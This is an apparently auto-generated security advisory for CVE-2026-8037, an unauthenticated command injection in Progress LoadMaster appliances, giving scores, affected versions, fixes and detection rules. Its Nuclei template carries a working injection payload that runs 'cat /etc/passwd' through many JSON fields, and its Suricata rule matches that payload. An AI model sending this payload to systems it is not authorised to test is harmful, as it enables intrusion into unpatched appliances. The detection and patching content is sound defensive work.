VULNpocalypse

CVE-2026-8037: Progress LoadMaster Command Injection Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

OS Command Injection Remote Code Execution Vulnerability in API in Progress ADC Products allows an un-authenticated attacker to execute arbitrary commands on the LoadMaster appliance by exploiting unsanitized input in multiple command endpoints

Description quoted from the CVE record (assigned by ProgressSoftware, published 2026-06-04).

Weakness: CWE-77: Improper Neutralization of Special Elements used in a Command (‘Command Injection’)

How it can be exploited

Exploitable from an adjacent network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.

On CISA KEV since
2026-08-07
US federal deadline
2026-08-10
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-11289, EUVD-2026-34260, GHSA-57pc-jm9r-hgj4, ZDI-26-340, ZDI-26-341, ZDI-26-342, ZDI-26-646

VEDAS cluster: VEDAS:FOYERSNAIL

Exploit Observer links 7 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (7)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (6)

Vulnerability databases and vendor advisories (5)

Catalogue entries, not exploit evidence.

2 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.998
very likely to be attacked soon
VEDAS
0.990
strong exploit evidence
On CISA KEV
Yes, since 2026-08-07
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
100.1CVE-2026-8037 EPSS over time2026-082026-11-01
VEDAS (exploit evidence)
100.9CVE-2026-8037 VEDAS over time2026-082026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
Progress Software LoadMasterfrom V7.2.60.0 before V7.2.63.2
from V7.2.54.12 before V7.2.54.18		Not stated
Progress Software ECS Connections Managerfrom V7.2.60.0 before V7.2.63.2Not stated
Progress Software Object Scale Connection Managerfrom V7.2.60.0 before V7.2.63.2Not stated
Progress Software MOVEit WAFfrom V7.2.60.0 before V7.2.63.2Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: progress loadmaster, progress_software_corporation progress_kemp_loadmaster.

How to fix it

Fixed versions stated in the CVE record: V7.2.63.2, V7.2.54.18.

CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

Vendor guidance:

How to detect it

Nuclei template (active check)

Progress - Command Injection

OS Command Injection Remote Code Execution Vulnerability in API in Progress ADC Products allows an un- authenticated attacker to execute arbitrary commands on the LoadMaster appliance by exploiting unsanitized input in multiple command endpoints

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /accessv2); it decides using status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-8037.yaml
Show the template (43 lines)
yaml
id: CVE-2026-8037

info:
  name: "Progress - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    OS Command Injection Remote Code Execution Vulnerability in API in Progress ADC Products allows an un-
    authenticated attacker to execute arbitrary commands on the LoadMaster appliance by exploiting unsanitized
    input in multiple command endpoints
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-8037&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=progress&match=exact
  classification:
    cve-id: CVE-2026-8037
  metadata:
    verified: false
  tags: cve,cve2026,progress,loadmaster,rce,vkev,kev
http:
  - raw:
      - |
        POST /accessv2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: */*

        {"cmd": "getall", "apiuser": "''''", "apipass": "BBBBB", "g0": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g1": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g2": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g3": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g4": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g5": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g6": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g7": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g8": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g9": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g10": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g11": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g12": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g13": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g14": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g15": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g16": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g17": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g18": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g19": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g20": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g21": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g22": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g23": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g24": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g25": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g26": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g27": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g28": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g29": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g30": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g31": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g32": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g33": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g34": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g35": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g36": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g37": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g38": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g39": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g40": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g41": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g42": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g43": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g44": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g45": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g46": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g47": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g48": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g49": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g50": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g51": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g52": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g53": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g54": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g55": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g56": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g57": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g58": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g59": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g60": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #"}

    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "root:x:0:0:"

      - type: word
        part: content_type
        words:
          - "text/json"

      - type: status
        status:
          - 200

CVE-2026-8037.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-8037 Progress - Command Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-8037 Progress - Command Injection"; flow:established,to_server; http.uri; content:"accessv2"; nocase; http.request_body; content:"etc/passwd"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-8037; reference:url,https://www.exploit.observer/?keyword=CVE-2026-8037&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=progress&match=exact; sid:1010317; rev:1;)

CVE-2026-8037.rules on GitHub

References

Vendor advisories and patches

Exploits and technical analysis

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.